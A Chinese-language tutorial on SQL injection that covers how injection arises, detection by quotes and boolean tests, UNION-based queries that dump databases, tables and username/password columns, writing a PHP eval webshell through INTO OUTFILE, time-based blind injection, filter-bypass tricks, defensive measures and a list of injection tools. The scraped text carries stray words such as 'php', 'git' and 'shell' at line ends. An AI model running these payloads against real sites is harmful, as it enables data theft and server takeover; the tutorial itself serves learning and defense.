Web安全 - SQL注入

SQL Injection

1、原理

1. 什么是数据库?

数据库就是按照数据结构来组织、存储和管理数据的创建在计算机存储设备上的仓库。php

2. 什么是SQL?

一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理数据库系统。常见数据库好比 Access、SQL Server、MySQL、Oracle、Sybase、DB2以及其余数据库系统。html

3. 什么是SQL注入?

SQL注入 就是一种 经过操做输入 来修改后台SQL语句达到 执行恶意SQL代码 进行攻击目的的技术。git

4. SQL注入是怎么产生的?

构造动态字符串是一种编程技术,它容许开发人员在运行过程当中动态构造SQL语句。开发人员可使用动态SQL来建立通用、灵活的应用。动态SQL语句是在执行过程当中构造的,它根据不一样的条件产生不一样的 SQL语句。当开发人员在运行过程当中须要根据不一样的查询标准来决定提取什么字段(如SELECT语句),或者根据不一样的条件来选择不一样的查询表时,动态构造SQL语句会很是有用。github

在 PHP 中动态构造 SQL 语句字符串:
$query = "SELECT * FROM users WHERE username = ".$_GET["admin"];web

经过控制输入参数admin,修改所要执行SQL语句逻辑,达到攻击的目的。正则表达式

2、寻找

常见的注入点算法

  • GET 请求:该请求在 URL 中发送参数。
  • POST 请求:数据被包含在请求体中。
  • 其余注入型数据:HTTP 请求的头部字段也可能会触发 SQL 注入漏洞

1. 有错误信息返回

在注入点参数中添加单/双引号,看是否会返回错误信息:
error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1sql

2. 无错误信息返回

and : 同为真时为真。
or : 同为假时为假。

若是页面不返回任何错误信息,咱们就能够借助本方法来推断了,首先咱们在参数后面加上 and 1=1 和 and 1=2 看看有什么不一样。shell

and 1=1 能返回数据,而 and 1=2 没有,这是因为 1=1是一个为真的条件,前面的结果是 true,true and true 因此没有任何问题,第二个 1=2 是个假条件, true and false 仍是 false,因此就没有数据返回。数据库


先把参数改成很大的数或负数,要让它查询不到数据,咱们加上 or 1=1 就成功返回了数据,这是由于 1=1 为真,无论前面是否是假,数据都会返回。当 or 1=2 时,由于 1=2 为假,先后都为假,最终也是假,数据就不会返回了。

3、利用

1. 识别数据库

1.1 经过网站脚本类型判断

  • PHP -> Oracle、MySQL
  • JSP -> Oracle、MySQL
  • ASP/.NET -> SQL Server

1.2 经过错误信息判断

  • MySQL -> error:You have an error in your SQL syntax; check themanual that corresponds to your MySQL server version
  • Oracle -> Microsoft OLE DB Provider for ODBC Drivers 错误

1.3 经过数字函数判断

  • SQL Server -> @@pack_received、@@rowcount
  • MySQL -> connection_id()、last_insert_id() 、 row_count()
  • Oracle -> BITAND(1,1)
  • PostgreSQL -> select EXTRACT(DOW FROMNOW())

2. UINON 语句提取数据

UNION 操做符能够合并两条或多条 SELECT 语句的查询结果,基本语法以下:
select column1 column2 from table1 UNION select column1 column2 from table2

使用UNION 要知足两个条件:
1.两个查询返回的列数必须相同
2.两个查询语句对于列返回的数据类型必须相同

2.1 列数得到

order by 子句能够帮助咱们获得列数。// 最大且不报错的数即为咱们所要获得的列数。

2.2 列回显点得到

?id=-1' union select 1,2,3%23

先查询一个不存在的参数,本应该返回空的;
可是使用UNION查询,会输出后面的查询;
用数字去占位,因此能看到的数字就是回显点。

2.3 猜解数据库

1. 查询数据库版本信息

?id=' union select 1,version(),3%23

2. 查询当前数据库和用户

?id=' union select 1,database(),user()%23

3. 查询全部数据库

?id=' union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23

4. 查询表名

?id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3%23

5. 查询列名

?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3%23

5. 查询字段值

?id=' union select 1,(select group_concat(username separator ';') from users),(select group_concat(password separator ';') from users)%23

2.4 获取哈希口令

哈希口令是经过使用PASSWORD()函数计算的,具体算法取决于MySQL安装的版本。
select password('admin')
也能够经过在线解密网站进行解密。如 CMD5

2.5 写入Webshell

须要获得网站的绝对路径,数据库管理系统有向服务器文件系统写文件的权限。
?id=1' union select "<?php @eval($_POST['cmd']);?>" into outfile "D:\\XXX\\conn.php"%23

2.6 盲注利用

上面是显注的通常利用过程,盲注的话,改一下基本查询语句,利用sleep()函数,过程上与显注相似。

id=1 union select 1,if(SUBSTRING(user(),1,4)='root',sleep(5),1),3

IF(expr1,expr2,expr3),若是expr1的值为true,则返回expr2的值,若是expr1的值为false,则返回expr3的值。

4、防护

Web应用为了防护包括SQL注入在内的攻击,经常使用输入过滤器,这些过滤器能够在应用的代码中,也能够经过外部实现,好比 Web 应用防火墙和入侵防护系统。

1. 绕过方法总结

1.1 大小写

这种方法适用于关键字阻塞过滤器不聪明的时候,咱们能够变换关键字字符串中字符的大小写来避开过滤,由于使用不区分大小写的方式处理SQL关键字。

1.2 URL编码

经过把咱们构造的payload中的特殊字符进行URL编码,而后过滤器就不会匹配到,$_GET函数自己会对括号内的字符串进行URL解码,从而实现绕过。
空格->%20、"->%2二、#->%2三、%->%2五、'->%2七、(->%2八、)->%29 ...

1.3 SQL注释

//--/* */#--+

1.4 空字节

一般的输入过滤器都是在应用程序以外的代码实现的。好比入侵检测系统,这些系统通常是由原生编程语言开发而成,好比C++,为何空字节能起做用呢,就是由于在原生编程语言中,根据字符串起始位置到第一个出现空字节的位置来肯定字符串长度。因此说空字节就有效的终止了字符串。只须要在过滤器阻止的字符串前面提供一个采用 URL 编码的空字节便可,例如:
%00' union select username,password from users where username='admin' --

1.5 等价函数与命令

ascii() -> hex()、bin()

sleep() -> benchmark()

group_concat() -> concat_ws()

substr() -> mid()、substring()

user() -> @@user

datadir() -> @@datadir

2. 防护技巧

2.1 输入验证

输入验证是指要验证全部应用程序接收到的输入是否合法。有两中不一样类型的输入验证方法:白名单和黑名单验证

  • 白名单验证:好比id值,那么咱们判断它是否为数字。
  • 黑名单验证:使用正则表达式禁止使用某些字符和字符串

应该尽可能使用白名单,对于没法使用白名单的,使用黑名单提供局部限制。

2.2 编码输出

  1. 全部的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎全部的数据库系统都提供了参数化SQL语句执行接口,使用此接口结合预编译语句能够很是有效的防止SQL注入攻击。
  2. 对进入数据库的特殊字符('"<>&*;-- 等)进行转义处理,或编码转换。
  3. 确认每种数据的类型,好比数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。
  4. 数据长度应该严格规定,能在必定程度上防止比较长的SQL注入语句没法正确执行。
  5. 网站每一个数据层的编码统一,建议所有使用UTF-8编码,上下层编码不一致有可能致使一些过滤模型被绕过。
  6. 使用低权限帐号启动数据库,禁用数据库的危险函数如 xp_cmd ,禁用危险存储过程
  7. 用户权限使用最小权限原则,好比只使用到读权限的用户,只分配查询权限。

5、工具

SQLmap

sqlmap 是一个开源的渗透测试工具,能够用来自动化的检测,利用 SQL 注入漏洞,获取数据库服务器的权限。它具备功能强大的检测引擎 , 针对各类不一样类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操做系统文件甚至能够经过外带数据链接的方式执行操做系统命令。

Pangolin

Pangolin是一款帮助渗透测试人员进行 SQL 注入测试的安全工具。它具有友好的图形界面以及支持测试几乎全部数据库,并可以经过一系列很是简单的操做,达到最大化的攻击测试效果。

Havij

Havij 是一款自动化的 SQL 注入工具,它不只可以自动挖掘可利用的 SQL 查询,还可以识别后台数据库类型、检索数据的用户名和密码 hash、转储表和列、从数据库中提取数据,甚至访问底层文件系统和执行系统命令。

SSQLInjection

超级SQL注入工具(SSQLInjection)是一款基于 HTTP协议自组包的SQL注入工具,支持出如今 HTTP 协议任意位置的SQL注入,支持各类类型的SQL注入,支持HTTPS模式注入。目前支持 Bool 型盲注、错误显示注入、Union注入,支持 Access、MySQL 5以上版本、SQLServer、Oracle等数据库。采用C# 开发,底层采用Socket发包进行HTTP交互,极大的提高了发包效率,相比C#自带的 HttpWebRequest 速度提高2-5倍。支持盲注环境获取世界各国语言数据,直接秒杀各类注入工具在盲注环境下没法支持中文等多字节编码的数据。

The Mole

The Mole 是一款开源的自动化SQL注入工具,其可绕过IPS/IDS(入侵防护系统/入侵检测系统)。只需提供一个URL和一个可用的关键字,它就可以检测注入点并利用。The Mole可使用union注入技术和基于逻辑查询的注入技术。The Mole攻击范围包括SQL Server、MySQL、Postgres和Oracle数据库。

BBQSQL

BBQSQL是一个Python编写的盲注工具(Blind SQL injection framework),当你检测可疑的注入漏洞时会颇有用。同时 BBQSQL 是一个半自动工具,容许客户自定义参数。

Jsql

JSQL 是一款 Java 开发的轻量级远程服务器数据库注入漏洞测试工具,且免费、开源、跨平台 (Windows,Linux, Mac OS X, Solaris)。

Sqlsus

sqlsus是一个开放源代码的 MySQL 注入和接管工具,sqlsus 使用 perl 编写 , 基于命令行界面。sqlsus能够获取数据库结构,注入你本身的 SQL 语句,从服务器下载文件,爬行 web 站点可写目录,上传和控制后门,克隆数据库等等

参考:i春秋半月刊 https://bbs.ichunqiu.com/thre...

相关文章
相关标签/搜索